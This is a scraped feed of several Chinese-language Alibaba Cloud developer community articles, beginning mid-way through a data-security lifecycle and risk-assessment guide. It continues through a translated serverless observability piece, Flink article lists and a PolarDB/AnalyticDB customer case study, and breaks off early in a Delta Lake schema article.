
        第二步

        理解数据生命周期,评估各阶段潜在风险

        • 数据生命周期

        对于数据生命周期的理解,可以将其比喻为人群与地区的关系。数据好比是人群,会在不同的地区间流动。道路是人员流动的通道,房屋是人员停留的场所。通过理解人员的流动来类比数据生命周期,是一种最便于数据安全管理人员理解的方式。不同的区域,房屋的种类也会不同,有常规的民宅,有高档的办公区,功用各自不同,所需配备的安保措施也会不同。不同的区域间有各自的围墙,同时进出不同的区域也可能需要不同的验证方式,这些都是数据安全管理过程中需要思考的问题。能够理解人群与地区的关系,就不难理解数据从采集、传输、存储,到处理、交换,最终销毁的过程了,当然,人群是不存在销毁的场景的。

        《数据安全能力成熟度模型》(GB/T 37988-2019)能够为企业梳理数据安全工作提供可参考的标准,特别是在每个数据生命周期阶段,均列举出了多个数据安全防控点,供企业搭建数据安全体系参考。DSMM模型将此类防控点归总为30个过程域,以此指导数据安全能力构建:

        对于数据各生命周期阶段,通常需要根据实际安全需求,结合紧迫程度和成本分析,选择性的进行风险止血,才能避免企业的重要信息和数据发生泄漏,而这一切,都应该从围绕企业数据风险进行评估开始。

        • 数据风险评估

        数据安全风险评估是企业信息系统建设的安全根基,进行安全评估可以达到“以最小成本获得最大安全保障”的效果。未经安全评估的系统,可能存在大量安全漏洞,给企业业务带来巨大损失,而其中对于数据的风险评估,又是保护企业核心资产的重中之重。对于数据风险评估,通常可以从多个维度进行分析,常见的方法有头脑风暴、定性定量分析、历史事件分析、沙盘推演和红蓝对抗模拟等,在分析的过程中,一般会结合数据生命周期各阶段的数据特点,有针对性地进行判断。常见的数据安全风险及评估记录样例如下表所示:

        数据安全风险

        发生渠道

        发生概率

        造成损失

        风险评估

        阶段应对措施

        核心数据泄漏

        外部入侵

        小(5%)

        ¥¥¥¥¥

        0.25

        采集:分类分级和校验

        存储:加密保存

        内部窃取

        中(10%)

        ¥¥¥¥¥

        0.5

        处理:访问控制、脱敏…

        业务数据泄漏

        合作伙伴

        大(20%)

        ¥¥

        0.4

        存储:分类识别

        传输:通道加密

        共享:脱敏

        业务数据篡改

        内部操作

        中(10%)

        ¥¥

        0.2

        处理:权限管理、审计…

        重要数据丢失

        数据存储

        小(5%)

        ¥¥¥

        0.15

        存储:高可用配置…

        在完成风险分析和评估后,应当将数据风险预判和分析结果进行记录,并在一定时间段后进行复盘,以便跟踪风险发生情况,应对措施是否完善,以及更新据安全潜在风险,保障整体数据安全风险可控。

        第三步

        分析并权衡可接受的风险及成本,理清防御侧重点

        • 成本评估

        安全是企业的成本中心,永远只有相对的安全,没有绝对的安全。通过数据安全风险评估后,企业数据安全管理者能够对目前企业在云上的数据安全风险有一定的认识,同时在分析完应对措施后,会相对应地寻找到一些安全产品及解决方案,这时就要评估,如果采取该措施,是否能够将对应的风险降低,结合风险发生概率,判断该措施所带来的回报是否能够高于发生风险所造成的损失,综合评估成本后,决定最终的能力选择。

        对于云上环境,尤其是公共云,最大的优势就是将CAPEX转换为OPEX以降低成本,对于安全解决方案亦是如此。以最常见的数据库安全审计为例,目前业界普遍的做法是基于数据库为计费单位,按审计的数据库数量以许可的方式进行计价,这种模式本质上仍然是传统的方式,并没有利用到云计算的特性,尽管这种方式便于估算成本,但却没有与实际的业务数据量实现关联,导致的直接结果就是极易发生浪费。阿里云所推荐的安全审计模式是与需要被审计的数据库息息相关的。当一个数据库的数据量较小时,开启安全审计功能所需的成本也应该相对应的低;同样当一个数据库的业务量猛增带来大量的数据访问时,相应的安全审计费用也会上升。这是云平台为云上数据安全赋能的成果,企业也能在进行数据安全方案和产品选型中获益。同时,对于节省下来的安全成本,又能够覆盖更多的数据源,从而进一步提升企业整体数据安全水位。

        • 理清防御重点

        根据阿里云的经验,企业性质、业务属性和行业特性都会影响一个企业对于数据安全的关注点。对于国内企业出海和海外企业入华,通常会着眼于个人隐私数据保护,数据跨境等场景,以满足国内外的监管要求;对于本土的企业,通常会基于国内相关监管与合规要求开展数据安全工作;同时也有大量的企业,例如金融、零售等以数据为核心驱动力的行业,会把数据安全重点放在核心数据资产的保护上。数据对于不同的企业,价值也不尽相同,只有从企业最应当保护的敏感或核心数据入手,逐步搭建或完善企业数据安全体系,才能最大化体现数据安全工作的价值。

        结合数据生命周期,通过数据资产盘点、分类分级、风险分析和成本评估,企业此时应当已经大致明确了需要重点关注的数据安全风险点,即将开启数据安全规划并设计落地相关工作。阿里云为云上客户提供了一整套的数据安全解决方案,协助客户搭建云上数据安全体系,提升防御能力,保护客户的云上数据,实现安全可控。

         

        阿里云数据安全解决方案与建议:

        阿里云为企业客户提供专业的数据安全整体解决方案。通过聚焦企业重点关注的数据安全相关领域和话题,帮助企业客户在云上搭建完善的数据安全体系,提升防御和响应能力,降低整体数据安全风险。

        云上企业数据安全“4+4”核心能力建设

        阿里云参考数据安全成熟度框架(DSMM),基于阿里云最佳实践,通过总结和沉淀大量云上企业数据安全工作经验,提炼出云上企业数据安全需要构建的八大核心能力。分别是:

        • 数据生命周期安全维度四大能力:
          • 数据分类分级(采集阶段)
          • 数据传输加密(传输阶段)
          • 逻辑存储安全(存储阶段)
          • 数据脱敏(使用阶段)
        • 数据通用安全维度四大能力:
          • 数据资产管理
          • 鉴别与访问控制
          • 监控与审计
          • 终端数据安全

        同时,对于企业云上数据安全能力建设,阿里云建议分别从“云端”、“管道”和“终端”三个层面来构建核心能力。

        云端:数据上云后的存储形态,包含各类型数据存储,常见的有数据库、数据仓库、对象存储、缓存等,企业会根据业务形态和应用场景选择合适的存储进行数据的保存。

        管道:数据通信和流转的媒介,主要为网络通道,一般分为站点到站点(Site-to-Site)和客户端到服务端(Client-Server)两种模式。

        终端:各类实现数据采集、输入和使用的用户交互用设备及终端,如APP、网页、应用程序等,通常通过手机和电脑进行操作。

        企业在构建八大数据安全核心能力时,将会在不同的管控层面开展建设。

        1. 数据采集阶段

        组织内部系统中新产生数据,以及从外部系统收集数据的阶段。

        在数据采集阶段,企业通常将通过网络通道,将大量的数据采集并保存在云端,进行数据处理并提供服务。常见的通信管道包含互联网接入和企业专线/专网接入。

        互联网接入:对于海量终端的信息采集,企业一般会通过互联网通道进行。通常在终端侧收集的信息包含个人类信息,业务类信息以及设备类信息;

        专线/专网接入:对于稳定性和通信安全要求较高的大型企业,在内部信息传输时会通过专线接入,通常传输的数据包含业务类信息、公司类信息和设备类信息。

        对于上述信息完成存储后的分类和分级,过往由于缺乏自动化的手段,企业通常会采用手工的方式进行统计,并且在数据量增大的同时无法保持定期更新。伴随着数字化转型,企业在保存海量敏感和重要信息的同时,又面临着个人隐私保护相关法律的要求,如何在采集阶段保证海量数据的安全可治理,是这一阶段的重点。

        • 核心能力1:分类分级

        能力描述:基于法律法规以及业务需求确定组织内部的数据分类分级方法,对生成或收集的数据进行分类分级标识。

        • 阿里云提供的核心服务:敏感数据保护(SDDP)服务

        敏感数据保护(Sensitive Data Discovery and Protection,简称SDDP)作为阿里云第一款自主研发的数据安全可视化产品,充分利用阿里巴巴大数据分析能力以及人工智能相关技术,通过智能化的手段识别敏感数据,并基于业务需求实现自动分类分级,为企业实现高效的数据安全治理提供手段。

        • 自动识别:通过深度学习神经网络,结合关键字和正则匹配等方式,精准识别敏感数据,并可根据业务规则自定义敏感属性。
        • 分类分级:针对敏感数据的识别结果,自动实现数据分类和基于敏感程度的分级,并提供外部数据系统的集成能力。
        1. 数据传输阶段

        数据从一个实体传输到另一个实体的阶段;

        在数据传输阶段,常见的数据流转包括数据入云,在云中的流转和数据出云。

        对于不同传输与交换场景下的数据保护,企业需要灵活运用各种防御措施,常见的防御手段有加密、鉴权、脱敏等方式,而其中最为广泛使用的是传输过程中的加密。

        数据传输过程中使用的网络通道不同,保护方式也会不同。对于客户端通过互联网发起的访问,一般建议企业使用SSL/TLS证书来加密传输通道,防止发生中间人攻击窃取传输过程中的重要数据;对于企业站点间的数据传输,通常会使用VPN或专线对通信链路进行加固。

        同时,建议企业在云内将网络隔离为对外和内部专用网络区域,数据越往内部传输,相应的保护措施也越严格。针对不同的数据传输和流转场景,同样需要不同的技术手段加以保护。

        • 核心能力2:传输加密

        能力描述:根据组织内部和外部的数据传输要求,采用适当的加密保护措施,保证传输通道、传输节点和传输数据的安全,防止传输过程中的数据泄漏。

        • 阿里云提供的核心服务:SSL证书服务

        证书服务(SSL Certificates)为网站和移动应用(APP)提供HTTPS保护,可对Web流量加密,防止数据遭窃取和篡改。阿里云提供完善的运维功能,支持将第三方证书上传管理,支持一键部署证书到CDN、负载均衡(SLB)、OSS等云产品,轻松集中地运维大量证书。

        • 品牌合作
        • 快速签发
        • 一键部署
        1. 数据存储阶段

        数据以任何数字格式进行存储的阶段;

        随着企业的数字化转型,数据会存储在各类云中提供的存储服务中。从最传统的块和文件类存储,到数据库、数据仓库类型的结构化存储,再到缓存、对象存储等新型存储方式,企业的数据会分布在各类应用系统和所使用的数据存储中。如何在数据存储的过程中保护数据的保密性、一致性和可用性,是数据安全在存储阶段的重点。其中对于数据的加密,是企业最常见的保护手段。

        对于不同类型的数据存储,使用加密技术保护数据的核心是对于加密密钥的管理。密钥好比是打开保险箱的钥匙,保管好了密钥,就能从根本上实现对数据存储场景下的安全保护。

        • 核心能力3:逻辑存储安全

        能力描述:基于组织内部的业务特性和数据存储安全要求,建立针对数据逻辑存储、存储容器等的有效安全控制。

        • 阿里云提供的核心服务:密钥管理服务(KMS)

        密钥管理服务(KMS)提供安全合规的密钥托管和密码服务,助您轻松使用密钥来加密保护敏感的数据资产,控制云上的分布式计算和存储环境。您可以追踪密钥的使用情况,配置密钥的自动轮转策略,以及利用托管密码机所具备的中国国家密码管理局或者FIPS认证资质,来满足您的监管合规需求。

        • 完全托管:KMS为您提供了密钥托管和密码服务,阿里云负责密码基础设施的完全托管,保证服务和设施的可用性,安全性以及可靠性。客户还可以通过BYOK的方式,保持一份密钥的拷贝从而获得更多的持久性。
        • 可用、可靠和弹性:KMS在每个地域构建了多可用区冗余的密码计算能力,保证向KMS发起的请求可以得到低延迟处理。
        • 云产品集成加密:KMS与云服务器、云数据库、对象存储、文件存储、大数据计算等阿里云产品广泛集成。
        1. 数据处理阶段

        组织在内部对数据进行计算、分析、可视化等操作的阶段;

        企业在数据使用和处理阶段,通常会涉及大量的不同种类的应用系统,小到一台设备,大到数据中台。伴随着企业数字化转型,对于需要处理的数据量也呈现几何式的增长,同时也不可避免地会放大企业敏感和重要数据的暴露面。通常在大型企业中会通过网络隔离的方式,将核心数据保存在诸如“内网区”的内部区域内,实现访问隔离。但伴随着业务开放、跨部门使用、对外分享等场景的出现,传统的单纯依赖网络隔离的方式越发捉襟见肘。

        在数据处理阶段,阿里云建议引入“数据消敏区”的概念。这里的“数据消敏区”,可以类比为数据层面的“DMZ区域”,实现类似医院手术室中的“消毒区”的功能。首先通过分析数据治理结果,掌握企业敏感数据在云上的分布情况,随后对于需要进行使用、分析和对外分享的敏感数据,在“数据消敏区”中进行统一加工,实现脱敏化处理。将敏感类数据根据不同的业务需求进行“消敏”后,存放在敏感区域外,供分析使用和外部调用,以此减小敏感数据暴露面,降低由于系统直接接触生产或敏感数据而造成的泄漏风险。

        • 核心能力4:数据脱敏

        能力描述:根据相关法律法规、标准的要求以及业务需求,给出敏感数据的脱敏需求和规则,对敏感数据进行脱敏处理,保证数据可用性和安全性之间的平衡。

        • 阿里云提供的核心服务:敏感数据保护(SDDP)服务

        敏感数据保护服务的数据脱敏功能能够实现对云环境内数据源产品间的数据脱敏能力。通过SDDP的静态脱敏能力,用户能够实现生产数据向开发测试环境进行数据的脱敏转存,供进一步的分析使用,避免由于测试系统直接访问源数据带来的数据泄漏风险。同时在数据对外分享时,实现敏感数据脱敏后的分发。

        • 多源异构:SDDP支持的数据源类型包括结构化数据源(如RDS、MaxCompute等)和非结构化数据源(如OSS中保存的结构化数据),并支持异构数据源间的脱敏。
        • 算法丰富:SDDP支持6大类30多种常见的脱敏算法,包括哈希、遮盖、替换、变换、加密及洗牌,能够满足各类业务场景的脱敏需要。
        • 数据通用安全

        针对《数据安全能力成熟度模型》中定义的30个数据安全过程域,阿里云根据企业数据安全能力建设维度,将数据安全能力分为三类:

        云平台提供能力:由云平台提供基础安全能力和数据服务安全配置功能,需要客户根据业务所使用的云上数据服务,进行相应数据安全配置,保护数据安全。

        核心技术能力:由云平台提供的核心数据安全类服务,客户通过购买和配置相关服务的方式,在云上构建企业数据安全核心能力,提升整体云上数据安全水位。

        高阶能力:通常分为管理能力和技术能力两大方面。管理能力需要企业根据国家法律法规相关要求,在数据安全领域建立和维护企业自身的数据安全标准以及内部规章制度,降低企业的数据安全风险;技术能力则会根据业务形态,数据要求和企业成熟度,有选择性地在技术层面进行相关数据安全能力的构建。

        由于《数据安全能力成熟度模型》中所定义的数据安全生命周期和通用部分涉及面较广,阿里云建议客户在构建企业数据安全能力时,充分利用云平台能力,并重点关注核心能力建设,进而根据企业实际情况和成熟度,对高阶能力进行选择性地完善。通过采取分阶段快速迭代的方式,逐步建立有效的数据安全体系。切忌急于求成,丢失建设工作的焦点。

        • 核心能力5:数据资产管理

        能力描述:通过建立针对组织数据资产的有效管理手段,从资产的类型、管理模式方面实现统一的管理要求。

        • 阿里云提供的核心服务:敏感数据保护(SDDP)+各类数据源管理服务

        敏感数据保护服务通过对存储在云上海量的结构化和非结构化数据源中的数据识别,自动对敏感文件和数据进行识别、归类和分级,包括对国内外个人隐私信息、云平台密钥信息、敏感图片类文件等。敏感数据保护服务同时还提供了丰富的API接口,供各类云上数据管理服务调用,通过被集成的方式,实现云上数据安全的统一管理,提升整体数据安全治理能力。

        • 核心能力6:鉴别与访问控制

        能力描述:通过基于组织的数据安全需求和合规性要求建立身份鉴别和数据访问控制机制,防止对数据的未授权访问风险。

        • 阿里云提供的核心服务:权限管理服务(RAM)+数据管理服务(DMS)+应用身份服务(IDaaS)

        针对数据的访问鉴别与控制,需要结合不同的数据存储和使用场景,配置相对应的鉴权能力。参考阿里云安全架构,常见的数据访问包括对云平台的访问、对操作系统的访问、对数据的访问和应用层级的访问。针对不同的访问维度,需要通过不同的手段实现访问的鉴别与控制。阿里云提供了多种安全访问管理和防护机制,帮助企业实现各维度的鉴别与访问控制能力,全方位提升企业云上数据访问控制能力。

        • 核心能力7:监控与审计

        能力描述:针对数据生存周期各阶段开展安全监控和审计,以保证对数据的访问和操作均得到有效的监控和审计,以实现对数据生存周期各阶段中可能存在的未授权访问、数据滥用、数据泄漏等安全风险的防控。

        • 阿里云提供的核心服务:敏感数据保护服务(云原生审计)+自建数据库审计服务

        阿里云敏感数据保护服务通过云原生的手段,提供对云上各类型数据资产的安全监控与审计。除了提供常规的安全审计能力用以检测诸如高危操作、数据库注入等风险以外,SDDP还创新性地为云上数据提供异常检测能力,通过收集和分析相关日志,围绕权限使用和数据流转场景,自动生成历史基线,并基于画像评估数据安全整体运行态势,在发现潜在风险时,通过告警提醒用户,并分析原因和提供修复建议,将事后追溯向事中检测靠拢,提升整体数据安全事件响应能力。同时,阿里云还为云上客户提供了自建数据库的审计服务。

        • 核心能力8:终端数据安全

        能力描述:基于组织对终端设备层面的数据保护要求,针对组织内部的工作终端采取相应的技术和管理方案。

        • 阿里云提供的核心服务:堡垒机服务+终端DLP服务

        阿里云通过提供堡垒机服务,为云上客户提供集中化的云上运维能力,全程记录操作数据并实时还原运维场景,保障云端运维权限可管控、操作可审计、合规可遵从。同时对于远程终端,提供终端防泄漏服务、识别终端中保存的敏感数据,对违规使用、扩散等敏感行为实现策略响应控制。

         

        有关更详细的阿里云数据安全解决方案,欢迎参考:https://www.aliyun.com/solution/security/datasecurity

        ]]>
        Serverless可观察性的最佳实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        原文: https://medium.com/adobetech/best-practices-for-serverless-observability-a99d8dc8af5c

        WRITTEN BY

        Ran Ribenzaft

        Co-Founder & CTO @epsagon | AWS Serverless Hero | Entrepreneur, passionate about serverless and microservices.

        翻译:祝坤荣(时序)

        现在看起来每个工程师都熟悉serverless这个词,但离在生产环境大规模使用还很远。意思是,实际上,大部分人在使用serverless时还是没有经验的,并且由于这个原因,很多最佳实践还是缺失的。

        在这篇文章里,我们会深入可观察性,它是每个工程和运维团队在移动到生产环境的核心组件。我们会讨论每个重要的基础:度量,日志和分布式追踪,并提供serverless在真实世界的最佳实践的例子。

        image.png

        可观察性中的度量

        传统简单直接做监控的套路就是去看度量数据。 度量, 尤其是度量中体现的趋势, 可以展示出我们系统的基本统计情况,比如:

        • CPU或内存的使用峰值
        • 流量和请求的趋势
        • 我们使用的跨服务的延迟情况
        image.png
        Google SRE图书中指出了监控分布式系统的4个黄金指标是延迟,流量,错误和饱和度。尽管看起来很简单,它仍然需要一些经验和时间来进行正确的监控。这个流程包括:

        • 从环境,应用,资源和服务上收集所有度量指标。这包括,比如,我们的k8s集群,云资源,Java和Node.js应用,我们的Redis集群。想要记录这些度量信息每个实体都需要一套不同的处理方法。
        • 将度量信息传给一个统一平台,它要处理正确的量级,聚合所有度量指标,展示正确的数据(比如,用百分位替代平均值)。
        • 最终,我们需要为每个应用或环境建一个仪表盘,并且为其中重要的定义合适的报警。

        在serverless化后,CPU和内存变得不那么相关了;不要只盯着调用和错误的基本图表。多看和观察你的function有的每个动作。你调用的任何API都需要被监控。

        可观察性中的日志

        度量指标只能告诉我们’好或坏’。他们不会提供任何信息和一种方式来告诉我们为什么一个应用不工作了。

        要定位问题的种类,我们需要理解我们代码或服务的流程。要达到这个目的我们要打印包括所有从开始到详细异常的日志(到一个文件,socket或服务)。

        image.png
        Elastic中的日志

        每个工程师都熟悉定位问题或bug的场景和要找到正确日志时持续升高的压力。这些问题都是由于日志的一些缺陷和固有的问题:

        • 它们基本上是手动的。日过你没有记录一些事情,它不会出现(然后你补了日志,部署你的代码,并且等着问题再次出现)。
        • 通常,它们没有上下文。这表示你要找到你想要找的日志,你需要对发生在你代码或服务的事件的相关日志进行搜索。
        • 在众多服务中有很多的日志,这很难在它们之间进行导航。

        想要从日志中得到有效的信息:

        • 在你的日志行中填加元数据;例如,服务/函数function名称,场景,请求ID等。
        • 在你使用的代码中自动化日志事件的处理。我们会在下面追踪章节讨论这个。
        • 保证在你的服务中用正确的方式索引日志,然后你可以使用工具来进行分析。使用工具分析日志(用元数据和维度)可以帮助你理解你应用中的复杂趋势。
        • 记录自定义的度量指标。这也适用于之前的基础指标,但它可以帮你发现业务核心指标。比如,上周用户注册的数量。

        可观察性中的分布式追踪

        追踪是可观察性中的重要基础,它在微服务和serverless中度量和日志中扮演重要角色。追踪的目的是收集一次操作的数据,这样我们可以在不同的服务中看到流程。
        image.png

        在一个运行微服务和serverless的现代应用中,我们需要对追踪的“分布式”部分有更多的关注。追踪里最流行的标准是OpenTracing(或新的OpenTelemetry)。分布式追踪描述了一个框架来收集关于事件的数据(比如,一个DB查询,我们会收集主机名,表名,持续时间,操作等),这叫做spans与上下文。它也描述了在你的服务中注入和抽取“追踪ID”。

        有效在代码中抓取追踪的一种推荐的方式是进行增强instrument(https://epsagon.com/blog/instrumentation-for-better-monitoring-and-troubleshooting/),所以每个调用不需要手动。Instrumentation增强修改了一些调用;比如,每次你调用HTTP,它会路由到一个中间件,由其保存追踪信息。

        由于追踪是被一种结构化的方式捕捉的,它让我们可以对日志问一些更有意思的问题;比如,你可以查找所有“insert”操作超过300ms的事件,其被打了一个特定customer ID的标签。

        image.png

                            追踪捕捉了结构化数据
        

        要牢记以下几个关键问题:
        • 增强和追踪你的应用是一个非常长的过程,需要长时间维护。如果你选择自己实现不会快速获胜。
        • 我们只讨论了追踪收集的部分。下一步是传送它们到一些服务。Jaeger(https://www.jaegertracing.io/)可能是展现和搜索追踪信息的主流服务。
        如果要从追踪中得到最大的收获:
        • 用标签来充实你的追踪。标签让你们可以在你的复杂系统中精确定位事件,按维度进行分析,比如,userId=X的一个特定事件有多少次,用了多久。好的标签可以是user ID,商品ID,事件类型,或任何你系统中特定的信息。
        • 因为追踪给日志加入了上下文所以它在问题定位中扮演了核心组件。要做到那样,请考虑下载追踪里记录payload。比如,每一个对DB的调用,增加查询信息;每一个HTTP调用,填加request/reponse的header和body信息。
        • 要在没有任何上下文信息里在成吨的日志或图表里搜索是很难的。通过使用追踪你可以可视化这些在你系统中的复杂服务和事务。

        image.png
        可视化追踪和payload信息是一个故障排查的强大工具(Epsagon)

        总结

        可观察性在每个现代应用中扮演了很重要的部分。它需要很多规划,繁重的维护来应用最佳实践。将每个基础部分分离到不同的工具可以让工程团队有很大的生产力,强化他们的合作。当选择一个工具来整合一切事物时这很重要。

        另外,自动化你的流程以便它们不会对日常工程的工作流产生影响很重要。选一个受控的解决方案可以有很大的优势,就像你从云供应商选择数据库,消息队列,或服务器。

        在Epsagon(https://epsagon.com/),我们在建立一个针对serverless和微服务的追踪和监控的定制方案。你过你有兴趣可以联系我们。

        ]]>
        Flink 生产实践系列文章合集-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Flink 生产实践系列文章合集

        本文合集涵盖FFA大会中众多大厂所分享的企业实践的优质精华内容:

        | 美团点评基于 Flink 的实时数仓平台实践
        | bilibili 实时平台的架构与实践
        | 小米流式平台架构演进与实践
        | SQL 开发任务超 50% !滴滴实时计算的演进与优化
        | OPPO 实时数仓揭秘:从顶层设计实现离线与实时的平滑迁移
        | 日均万亿条数据如何处理?爱奇艺实时计算平台这样做
        | Netflix:如何打造开放协作的实时 ETL 平台?
        | 菜鸟供应链实时数仓的架构演进及应用场景
        | 覆盖电商、推荐、ETL、风控等多场景,网易的实时计算平台做了啥?
        | 基于 Flink 构建 CEP 引擎的挑战和实践
        | 实时计算在贝壳的实践

        渠道文章宣传内页.png

        ]]>
        Flink 生态系列文章合集-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Flink 生态系列文章合集

        Flink 生态系列优质内容推荐如下:

        | 趣头条基于 Flink+ClickHouse 构建实时数据分析平台
        | 携程实时智能检测平台建设实践
        | Hive 终于等来了 Flink
        | Flink 生态:一个案例快速上手 PyFlink
        | Flink 如何支持特征工程、在线学习、在线预测等 AI 场景?
        | 性能提升约 7 倍!Apache Flink 与 Apache Hive 的集成
        | 如何在 Apache Flink 1.10 中使用 Python UDF?
        | 为什么说 Flink + AI 值得期待?
        | Flink 1.10 Native Kubernetes 原理与实践
        | Flink 1.10 和 Hive 3.0 性能对比(附 Demo 演示 PPT)
        | 在 Cloudera Data Flow 上运行你的第一个 Flink 例子

        渠道文章宣传内页.png

        ]]>
        零基础入门系列-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 零基础入门系列

        Flink 零基础入门系列优质内容推荐如下:

        | 《Apache Flink 零基础入门(一):基础概念解析》
        | 《Apache Flink 零基础入门(二):开发环境搭建和应用的配置、部署及运行》
        | 《Apache Flink 零基础入门(三):DataStream API 编程》
        | 《Apache Flink 零基础入门(四):客户端操作的 5 种模式》
        | 《Apache Flink 零基础入门(五):流处理核心组件 Time&Window 深度解析》
        | 《Apache Flink 零基础入门(六):状态管理及容错机制》
        | 《Apache Flink 零基础入门(七):Table API 编程》
        | 《Apache Flink 零基础入门(八): SQL 编程实践》
        | 《Apache Flink 进阶(一):Runtime 核心机制剖析》
        | 《Apache Flink 进阶(二):Flink Time 深度解析》
        | 《Apache Flink 进阶(三):Checkpoint 原理解析与应用实践》
        | 《Apache Flink 进阶(四):Flink on Yarn/K8S原理剖析及实践》
        | 《Apache Flink 进阶(五):Flink 数据类型与序列化》
        | 《Apache Flink 进阶(六):Flink 作业执行深度解析》
        | 《Apache Flink 进阶(七):Flink网络流控及反压剖析》
        | 《Apache Flink 进阶(八):详解 Metrics 原理与实战》
        | 《Apache Flink 进阶(九):Flink Connector 开发》

        渠道文章宣传内页.png

        ]]>
        追寻教育行业的下一个时代风口,阿里云数据库和蓝墨are ready!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 智启蓝墨是一家智能互联网教育公司,公司主要业务是为中高等院校提供智能云教学平台服务,其次提供云教材的制作、出版、发行等云生态平台服务。自2012年成立以来,蓝墨一直致力于帮助学校从教学信息化跨入教学智能化,实现课堂教学的现代化。

        成立第二年,蓝墨便选择使用了阿里云,除了主机产品,最主要的就是数据库产品。由于蓝墨是一个已经运行了一段时间的产品,所以更换数据库的选型过程中,主要的考虑因素是平滑迁移,将应用改动量和迁移风险都降到最低。

        主要的选型范围还是在阿里云的产品来选择,最终选择了PolarDB和AnalyticDB这两个十分给力的产品,分别在事务处理和数据分析领域有着出色的性能,而且先天具备兼容MySQL的优势,都能做到快速上线。

        01、PolarDB :“非常抗打,几十万的 QPS 不在话下”

        从 MySQL 5.5 到 MySQL 5.6,随着用户量的增加,MySQL 明显不足以满足业务需求了,经过介绍,蓝墨了解到了PolarDB。由于它和 MySQL 100% 兼容,迁移到 PolarDB 应用无需做任何改动,只需修改数据库指向就可以。

        所以在 2019 年,蓝墨将业务的数据库迁移到了 PolarDB,迁移之后,运行良好。偶尔有高 CPU 占用的情况,阿里云专家组及时出动,与蓝墨技术同学一起分析场景和SQL,帮助解决问题。

        由于历史原因,蓝墨的业务有很多是 PHP 编写的,众所周知,PHP 编写的 Web 应用到数据库之间是短连接,虽然 MySQL号称对短连接做过优化,并且PolarDB 对短连接的表现也是很好的,但是由于今年疫情,大量的课程转移到线上开课,导致系统负载比去年增加了 25 倍,在这样的压力下,短连接的弱点爆发了。

        由于频繁的向 PolarDB 创建连接,导致 PolarDB CPU 高,通过和阿里云专家组的共同分析找出了关键所在,通过PolarDB透明读写分离方式和在应用与PolarDB 之间增加了一个代理层,代理层负责接受应用的短连接,同时维护到 PolarDB 的长连接。经过这样的结构调整,PolarDB 重回王者地位,QPS 可以稳定的跑在 30万+ 的同时,CPU 负载控制在 30% 以下。

        010101.jpg

        对此,蓝墨的技术总监袁玉表示:“只要应用架构中处理好读写请求区不同的节点,利用PolarDB的读写节点分离功能,就可以很好的分离业务负载。
        计算和存储分离,可以使得在系统容量不足的时候,几分钟就可以扩充一个 PolarDB 的只读节点进来,快速平滑的完成扩容,而无需等待传统读写分离漫长的数据复制的过程,只要使用得当,PolarDB 是非常抗打的,几十万的 QPS 不在话下。”

        PolarDB 计算与存储分离的架构和可以被多个数据库节点共享的分布式存储,所带来的快速弹性能力,是云原生架构的最佳搭档。

        PolarDB产品经理乙休表示:“应对这次疫情,很多诸如智启蓝墨这样的教育企业在云上使用PolarDB都顺利地度过了计划外的突发增长。智启蓝墨在使用过程中也给阿里云PolarDB提出了很多高价值的建议。业务中遇到的解决关键问题的PHP短连接优化功能最近已在PolarDB上线,免费给所有用户使用,欢迎大家体验。“

        02、AnalyticDB:海量数据实时分析,想怎么查就怎么查

        随着业务的突发增长,蓝墨的实时分析诉求越发强烈。实时洞察公司运营状态,全面提升业务快速响应能力,对蓝墨当前的发展至关重要。经过与阿里云专家多次讨论,基于分析性能与使用门槛两大重要因素考量,蓝墨最终采用AnalyticDB作为报表分析库。

        通过阿里云的数据传输服务(DTS)将PolarDB业务数据实时同步到AnalyticDB中,AnalyticDB全面兼容MySQL协议和SQL:2003语法标准,无需修改代码即可快速构建一套实时报表分析系统。该解决方案实现了业务库和报表库全面隔离,完全解耦,业务高峰期时再也不用担心业务库和报表库相互影响。

        蓝墨单表最大数据量超过1T,在高并发情况下可实现毫秒级响应。蓝墨的技术总监开玩笑说:“有一次数据同学写错了SQL,少了一个关联条件而导致全表扫描,同学竟然没有发现,AnalyticDB执行效率太高了“,紧接着他又继续强调:“可以秒甚至毫秒查询出几分钟之前的数据,给我们精细化运营增加了很多可能性,可以进一步降低获客成本。我相信蓝墨一定会在阿里云平台上迎来全新的机遇。”

        03、追寻教育行业下一个时代风口,蓝墨与阿里云携手而来

        信息化、数字化是时代发展的潮流,作为为社会育材的教育行业,教育技术现代化、信息化、数字化也将是必然的趋势,这场突如其来的疫情尤其凸显出了在线教育、教育信息化的重要性。

        毫无疑问, “互联网+” 已成为当今时代经济和社会发展的显著特点,网络信息技术的更新与发展,加速了传统教育数字化的进程,促进了学科课程与信息技术的深度融合,也推动了关于信息化教育的实践与探索。今年这场突如其来的疫情尤其凸显了信息化教育的重要性。

        蓝墨的主营业务属于教育信息化行业里的中高等院校教学信息化领域。本次疫情之前中高等院校教学信息化普及率在30%左右,这次疫情发生后,由于学校被迫实施在线教学,院校教学信息化普及率会达到95%以上,呈现出产业互联网集中化的趋势。

        教学信息化发展的下一个阶段是教学智能化,未来5年预计超过50%的中高等院校教学信息化会跨入教学智能化的行列。

        未来,在追寻教育行业新风口的这条跑道上,蓝墨将与阿里云一起探索奔跑。


        直播预告
        4月8号15:00-16:00
        AnalyticDB for MySQL基础版线上发布会
        教你如何0门槛构建实时数据仓库
        扫描下方二维码预约直播!~

        4。8 ADB.jpg

        ]]>
        深入剖析 Delta Lake:Schema Enforcement & Evolution-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 编译:辰山,阿里巴巴计算平台事业部 EMR 高级开发工程师,目前从事大数据存储方面的开发和优化工作


        在实践经验中,我们知道数据总是在不断演变和增长,我们对于这个世界的心智模型必须要适应新的数据,甚至要应对我们从前未知的知识维度。表的 schema 其实和这种心智模型并没什么不同,需要定义如何对新的信息进行分类和处理。

        这就涉及到 schema 管理的问题,随着业务问题和需求的不断演进,数据结构也会不断发生变化。通过 Delta Lake,能够很容易包含数据变化所带来的新的维度,用户能够通过简单的语义来控制表的 schema。相关工具主要包括 Schema 约束(Schema Enforcement)和 Schema 演变(Schema Evolution),前者用以防止用户脏数据意外污染表,后者用以自动添加适当的新数据列。本文将详细剖析这两个工具。

        理解表的 Schemas

        Apache Spark 的每一个 DataFrame 都包含一个 schema,用来定义数据的形态,例如数据类型、列信息以及元数据。在 Delta Lake 中,表的 schema 通过 JSON 格式存储在事务日志中。

        什么是 Schema 约束?

